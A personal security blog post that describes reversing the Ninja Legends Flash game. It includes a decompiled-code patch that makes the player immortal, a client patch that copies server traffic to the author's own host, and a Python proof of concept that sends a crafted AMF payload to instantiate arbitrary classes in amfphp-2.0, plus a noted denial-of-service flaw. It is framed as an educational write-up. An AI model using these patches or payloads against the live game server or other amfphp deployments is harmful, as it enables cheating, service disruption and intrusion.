Reversing a 14 year-old Flash game journey
Lately I’m so lazy and starts playing video games instead of learning new security stuff.
Suddenly, I tried to find 1 of my childhood game called ‘Ninja Saga’, a game on Facebook and apparently now it is closed.
However, there is a small group that tried re-creating the game and renamed it to ‘Ninja Legend’ on https://www.ninjalegends.net/ . So I tried downloading it and play to feel the nostalgia. However, I stumpled on a boss that I couldn’t beat. After 15 minutes trying to beat the boss with no success, I was frustrated ! Hence, as a sane person, I tried to view the source code of the game to see if I can change/mod something of my character to beat the boss.
Notice: this whole blog post is about my experience I had when I tried my first time into game reversing, I did not try to abuse these bugs to gain money or take advantages on any user/groups during the journey. For readers, please use this blog post for educational purpose only.
Decompile the game
Upon opening the game folder, I tried to decompile Ninja Legends.exe
uing IDA but found nothing related to the game.
So I tried googling different file extensions inside that folder, one of that is the file NinjaLegends.swf
.
An SWF file is an animation that may contain text, vector and raster graphics, and interactive content written in ActionScript.
Bingo !!! So I quickly google how to decompile swf file because it is a binary file.
Multiple decompilers appeared, but the JPEXS Free Flash Decompiler
was recommended the most on Google.
I downloaded and tried to use JPEXS decompiler
. Overall, it has simple interface and straightforward UX.

My impression is that the decompiled code is not obfuscated and the ActionScript
looks a lot like Typescript
. There is also a Edit ActionScript
button at the bottom that allow us to patch directly into the swf file.
Thus, I looked for codes that is related to the game’s battling system and came accross the function updateHealthBar
and put in a code that updates my current_hp equal to max_hp whenever the game tried to update my character’s health:
public function updateHealthBar() : *
{
var _loc1_:* = this.getMovieClipHolder();
_loc1_.hpBar.scaleX = this.current_hp / this.max_hp;
if(this.player_team == "player" && this.player_number == 0)
{
// This is my code
this.current_hp = this.max_hp;
this.current_cp = this.max_cp;
// End of my code
BattleManager.getBattle()["char_hpcp"].txt_hp.text = this.current_hp + "/" + this.max_hp;
BattleManager.getBattle()["char_hpcp"].txt_cp.text = this.current_cp + "/" + this.max_cp;
BattleManager.getBattle()["char_hpcp"].hpBar.scaleX = this.current_hp / this.max_hp;
BattleManager.getBattle()["char_hpcp"].cpBar.scaleX = this.current_cp / this.max_cp;
}
}
After this, I saved the file and hop into the game to check if my patched code worked or not. And here is the result:
After enemy attacks and when it is my turn, my health and mana automatically reach max again. So if there is no move that could kill me in 1 turn, I’m basically immortal 😁.
And after the battle, the game shows that I have successfully finished the mission and my character’s EXP increase !
Wait a minute, the game didn’t track the battle’s state whether the battle’s state was appropriate or not. If the server checked then it must have alerted the client and the server’s state are out of sync, because my character automatically replenish HP/MP during the fight.
This caught my attention and I tried looking further more into the game itself.
Game’s feature
Before diving into the reversing I want to list out some of the game’s feature.
Character’s Stats
The game took place like in Naruto, where you’re a Ninja and you can learn 1 or 2 types of NinJutsu which are: Wind, Fire, Lightning, Water, Earth. Each level up you can increase 1 stat point, each stat point when allocated boost your character’s strength like below:
Wind - 1 point gives:
- +0.4% Dodge or chance that an attack will miss you.
- +1 Agility. The player with the highest agility will act first.
- +1% Damage bonus to Wind Ninjutsu.
Fire - 1 point gives:
- +0.4% Damage to ALL damaging moves.
- +0.4% chance of Comburstion buff: next attack on next turn will have +30% damage bonus
- +1% Damage bonus to Fire Ninjutsu.
Lightning - 1 point gives:
- +0.4% Critical chance: critical attack deals 150% damage based on the normal damage.
- +0.8% bonus damage to Critical strikes
- +1% Damage bonus to Lightning Ninjutsu.
Water - 1 point gives:
- +30 CP (chakra point)
- +0.4% Purify chance: purify remove all your character’s negative effect.
- +1% Damage bonus to Water Ninjutsu.
Earth - 1 point gives:
- +30 HP
- +0.4% chance to reflect damage back to the attacker (Reactive Force).
- +1% Damage bonus to Earth Ninjutsu.
Missions
-
You can go to mission room and complete missions for EXP.
-
You can challenge daily bosses that drops useful items to craft in
Blacksmith
store. -
There are long-term events, which is also many types of bosses that drops useful items related to the current running event.
-
Online PVP among players.
-
Join clans.
Reversing & breaking the game
In the last section I’ve demonstrated how to become immortal in the battle system. Further code investigation also allow me to:
- Modify dodge / comburstion / critical / purify / reactive force chance
- Modify damage
- Modify inflict status
- Immortal
So basically I’ve done pwning the battle system. Apart from the battling system, the game also maintain server’s state for: user’s money, user’s token (real money P2W), character’s levels, account’s equipments & items, weapon and item drops from monsters, etc.
In order for the game to communicate with the server, it uses 4 different network classes:
ArenaNetwork
:
class ArenaNetwork {
public var TCP_IP:String = "68.183.216.145";
public var TCP_PORT:Number = 6060;
...
}
I don’t see it uses anywhere so let’s skip this
PvpNetwork
:
class PvpNetwork {
public var TCP_IP:String = "68.183.216.145";
public var TCP_PORT:Number = 6060;
...
}
There are some methods that send request and get response from server when we attempt to PVP.
SummerNetwork
:
public class SummerNetwork {
public var TCP_IP:String = "68.183.216.145";
public var TCP_PORT:Number = 7000;
...
}
For the running Summer Event
, that has unique bosses & items drop.
amfConnect
:
import flash.events.NetStatusEvent;
import flash.net.NetConnection;
import flash.net.Responder;
public class AmfManager {
public function service(param1:String, param2:Array, param3:Function) : *
{
new amfConnect().service(param1,param2,param3);
}
}
public class amfConnect
public function service(param1:String, param2:Array, param3:Function) : void
{
this.remotingGateway = "https://playninjalegends.com/amf_nl/";
this.netConnect = new NetConnection();
this.netConnect.connect(this.remotingGateway);
this.netConnect.call(param1,new Responder(param3,this.erroneousResult),param2);
}
This one is interesting, many features of the game uses this class like this:
amf_manager.service("CharacterService.buySkill", ...);
amf_manager.service("BattlePass.executeService", ...);
amf_manager.service("SystemLogin.getAllCharacters", ...);
amf_manager.service("ClanService.executeService", ...);
- Over 30 places use
amf_manager
, so this is the main entrypoint into the game’s server.
The mission room
The main objective to reverse this feature is that I want to auto-complete mission and gain levels as fast as possible.
Below is the decompiled code when we try to do a mission:
this.main.amf_manager = new AmfManager(this);
// I don't know why they named it startFight
internal function startFight(param1:MouseEvent) : *
{
var _loc3_:* = undefined;
var _loc4_:* = undefined;
var _loc5_:* = undefined;
var _loc6_:* = undefined;
var _loc7_:* = undefined;
var _loc8_:* = undefined;
var _loc2_:* = MissionLibrary.getMissionInfo("msn_" + this.curr_target);
Character.mission_level = int(_loc2_["msn_level"]);
if(int(Character.character_lvl) >= int(_loc2_["msn_level"]))
{
_loc3_ = "";
_loc4_ = "";
_loc5_ = StatManager.calculate_stats_with_data("agility",Character.character_lvl,Character.atrrib_earth,Character.atrrib_water,Character.atrrib_wind,Character.atrrib_lightning);
_loc6_ = 0;
while(_loc6_ < _loc2_["msn_enemy"].length)
{
_loc8_ = EnemyInfo.getEnemyStats(_loc2_["msn_enemy"][_loc6_]);
if(_loc3_ == "")
{
_loc3_ = _loc2_["msn_enemy"][_loc6_];
_loc4_ = "id:" + _loc8_["enemy_id"] + "|hp:" + _loc8_["enemy_hp"] + "|agility:" + _loc8_["enemy_agility"];
}
else
{
_loc3_ = _loc3_ + "," + _loc2_["msn_enemy"][_loc6_];
_loc4_ = _loc4_ + "#id:" + _loc8_["enemy_id"] + "|hp:" + _loc8_["enemy_hp"] + "|agility:" + _loc8_["enemy_agility"];
}
_loc6_++;
}
this.main.loading(true);
_loc7_ = CUCSG.hash(_loc3_ + _loc4_ + _loc5_);
this.main.amf_manager.service("BattleSystem.startMission",[Character.char_id,Character.mission_id,_loc3_,_loc4_,_loc5_,_loc7_,Character.sessionkey],this.onStartMissionAmf);
}
_loc2_ = null;
}
For lazy people, basically the code above will load:
- Our character’s character id
- The Mission ID
- The enemies’s data, which are loaded from
MissionLibrary.getMissionInfo("msn_" + this.curr_target)
and stored to_loc3_
and_loc4_
- Our character’s stat in
_loc5_
- Finally,
_loc7_
is a hash calculated from our character’s stat and enemies’ stat
Now because I want to analyze the request packet of new amfConnect().service(param1,param2,param3);
, normally I would try to proxy this request through Burpsuite. However by viewing the documentation at https://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/net/NetConnection.html , there is no proxy feature for flash.net.NetConnection
.
Thanks to JPEXS I can patch the program easily, so I patched the class amfConnect
into:
public class amfConnect
public function service(param1:String, param2:Array, param3:Function, toMyMachine:* = false) : void
{
if(!toMyMachine)
{
this.remotingGateway = "https://playninjalegends.com/amf_nl/";
this.netConnect = new NetConnection();
this.netConnect.connect(this.remotingGateway);
this.netConnect.call(param1,new Responder(param3,this.erroneousResult),param2);
this.service(param1,param2,param3,true);
}
else
{
this.remotingGateway = "http://mylocal.dev:7771/";
this.netConnect = new NetConnection();
this.netConnect.connect(this.remotingGateway);
this.netConnect.call(param1,new Responder(param3,this.erroneousResult),param2);
}
}
This will allow the game to continue sending request and receiving response from the real server, but it also sends the same data into http://mylocal.dev:7771 for me to analyze.
Then, remember to put mylocal.dev
into C:\Windows\System32\drivers\etc\hosts
that point to my VM linux machine IP. (I’m playing the game on Windows).
Then within the VM machine, I only need to do a netcat
listen, this is the result when I open the game.
Nice, we receive the request. Then, I tried to proxy the request to Burp for further analysis. And after removing some character in the request, what is this ?
And by changing the User-Agent to AdobeAIR/50.2, and navigate to https://playninjalegends.com/amf_nl/ , we could see:
Pressing the source code button, it navigate us to https://github.com/silexlabs/amfphp-2.0 . Thus, let’s try finding vulnerability in this amfphp-2.0 framework.
Analyzing amfphp-2.0
I clone the git repo and tried to setup a docker image with a xdebug to debug in VSCode. Below is how amfphp-2.0 receive and process the request (some small details are hidden for easily understanding):
- 1st: the data we sent to the Ninja Legend server was received at this file. The file tried loading the gateway, run service, and output
- 2nd: the create gateway will read user’s input from $_GET, $_POST, and
file_get_contents('php://input');
at this file - 3rd: Then, the code will reach this enormous function. However, the main points are:
- 3a: first it gets the contentType of the request at this, and spawn the appropriate Deserializer class. Currently the framework supports 3 type of contentType:
application/x-www-form-urlencoded
,application/json
,application/x-amf
. - 3b: 2nd, it will deserialize the request based on the contentType, if it is
application/x-www-form-urlencoded
orapplication/json
it is super simple, the server just use a simple json_decode to decode the message, like this. However, forapplication/x-amf
it’s more complicated, I will cover this up later. - 3c: after it has done deserialized the request, it will pass the deserialized request into a service and this is where it process our message.
- 3a: first it gets the contentType of the request at this, and spawn the appropriate Deserializer class. Currently the framework supports 3 type of contentType:
- Our request is deserialized into the following form when written in JSON:
{
"serviceName": "ServiceNameString",
"methodName": "methodNameString",
"parameters": anything
}
The request will be handled at here.
- 4: Basically, the server will try to find a file that is located in
/Amfphp/Services/ServiceNameString.php
, and invoke the class inside theServiceNameString.php
file, running the class functionmethodNameString
with parameters that we passed into. Luckily the amfphp-2.0 has anExampleService.php
that we can mimic this behavior at https://github.com/silexlabs/amfphp-2.0/blob/master/Amfphp/Services/ExampleService.php - 5: Thus, we can invoke the function
returnSum
using json (because it is easier to use) like this: - 6: And yes, the server has filtered the dot character ‘.’ so I cannot path traversal the ‘ServiceNameString’ to gain RCE 😓. We must know the
ServiceName
file name and the method name to correctly invoke the class function, we also must know how many parameters the function receive, because amfphp-2.0 also validate that at here.
Going back to the game
Thus, now I can write python script to automate the process of doing missions and completing missions. Below are 2 requests to do the mission and to complete the mission:
Start mission
Finish mission
Thus, now I can automate anything using scripts, which is quite powerful. Now I could try finding bugs like SQL injections and stuff but I decided to stop because it would be illegal 😗.
Thus, I continue to dig deep into the amfphp-2.0
to see if there is any vulnerabilities for me to gain RCE.
Back to the application/x-amf deserialization
Inside the deserialization of application/x-amf
, basically it will read the bytes in body from left to right, and for example when if stumple accross a byte \x02, the next 4 bytes it will read as a 4 bytes integer. The core and interesting implementation can be found here, which is:
// Initialize
$this->currentByte = 0;
protected function readByte() {
return ord($this->rawData[$this->currentByte++]); // return the next byte
}
$type = $this->readByte();
public function readData($type) {
switch ($type) {
//amf3 is now most common, so start with that
case 0x11: //Amf3-specific
return $this->readAmf3Data();
break;
case 0: // number
return $this->readDouble();
case 1: // boolean
return $this->readByte() == 1;
case 2: // string
return $this->readUTF();
case 3: // object Object
return $this->readObject();
//ignore movie clip
case 5: // null
return null;
case 6: // undefined
return new Amfphp_Core_Amf_Types_Undefined();
case 7: // Circular references are returned here
return $this->readReference();
case 8: // mixed array with numeric and string keys
return $this->readMixedArray();
case 9: //object end. not worth , TODO maybe some integrity checking
return null;
case 0X0A: // array
return $this->readArray();
case 0X0B: // date
return $this->readDate();
case 0X0C: // string, strlen(string) > 2^16
return $this->readLongUTF();
case 0X0D: // mainly internal AS objects
return null;
//ignore recordset
case 0X0F: // XML
return $this->readXml();
case 0x10: // Custom Class
return $this->readCustomClass();
default: // unknown case
throw new Amfphp_Core_Exception("Found unhandled type with code: $type");
exit();
break;
}
return $data;
}
Below are some bugs that I found when it deserialize the x-amf format:
1) Denial of service via parsing array length:
In the readArray function:
protected function readArray() {
$ret = array(); // init the array object
$this->amf0storedObjects[] = & $ret;
$length = $this->readLong(); // get the length of the array
for ($i = 0; $i < $length; $i++) { // loop over all of the elements in the data
$type = $this->readByte(); // grab the type for each element
$ret[] = $this->readData($type); // grab each element
}
return $ret; // return the data
}
First it read the array length using readLong
, which is 4 bytes, and then it tries to for loop through the array. The user input length could be 4 billion and exhaust the server’s CPU when sending multiple concurrent requests
2) PHP Arbitrary Object Instantiations in default setup
In the readCustomClass function:
protected function readCustomClass() {
//not really sure why the replace is here? A.S. 201310
$typeIdentifier = str_replace('..', '', $this->readUTF());
$obj = $this->resolveType($typeIdentifier);
$this->amf0storedObjects[] = & $obj;
$key = $this->readUTF(); // grab the key
for ($type = $this->readByte(); $type != 9; $type = $this->readByte()) {
$val = $this->readData($type); // grab the value
$obj->$key = $val; // save the name/value pair in the array
$key = $this->readUTF(); // get the next name
}
return $obj;
}
The user input flows into $typeIdentifier
variable as a string via readUTF
function. Then, $typeIdentifier
if passed into $this->resolveType($typeIdentifier);
. After that, in the default setup of amfphp-2.0
, it will lead to the file AmfphpVoConverter.php as the variable $voName
, which then gets:
public function getNewVoInstance($voName) {
$fullyQualifiedClassName = $voName;
...
if (class_exists($fullyQualifiedClassName, false)) {
$vo = new $fullyQualifiedClassName();
return $vo;
} ...
Thus, user can Instantiate any class that existed in the system. The below PoC shows how it is done:
f = open("f.txt", "wb")
def genInt(num: int):
return num.to_bytes(2, 'big')
def genLong(num: int):
return num.to_bytes(4, 'big')
def genUtf8(text):
l = len(text)
return l.to_bytes(2, 'big') + text
def pad(len: int):
return b'a'*len
# header
payload = b"\x00\x03" + genInt(1)
payload += genUtf8(b'Credentials') # header name
payload += b'\x01' + pad(4) # required and pad
payload += b'\x10' # type customClass
payload += genUtf8(b'stdClass')
payload += genUtf8(b'userid')
payload += b'\x02' + genUtf8(b'admin') + genUtf8(b'password')
payload += b'\x02' + genUtf8(b'password') + genUtf8(b'dump_key')
payload += b'\x09'
# message, 1 messages
payload += genInt(1)
payload += genUtf8(b'ExampleService.returnOneParam')
payload += genUtf8(b'response') + pad(4)
# This will cause server to call new PDO();
# which is error because it should have 1 param into the constructor
payload += b'\x0A' + genLong(1) + b'\x10' + genUtf8(b'PDO') + genUtf8(b'dump_key') + b'\x09'
f.write(payload)
f.close()
import os
os.system('curl -XPOST -H "Content-Type: application/x-amf" http://localhost:7771/Amfphp/ --data-binary "@f.txt" -x http://192.168.1.10:8080')
The server response:
Last words
Even though I couldn’t find a RCE vulnerability in amfphp-2.0
, it was a fun journey. This journey cost me a week, including writing out this blog post.
Thank you for reading and happy hacking !!!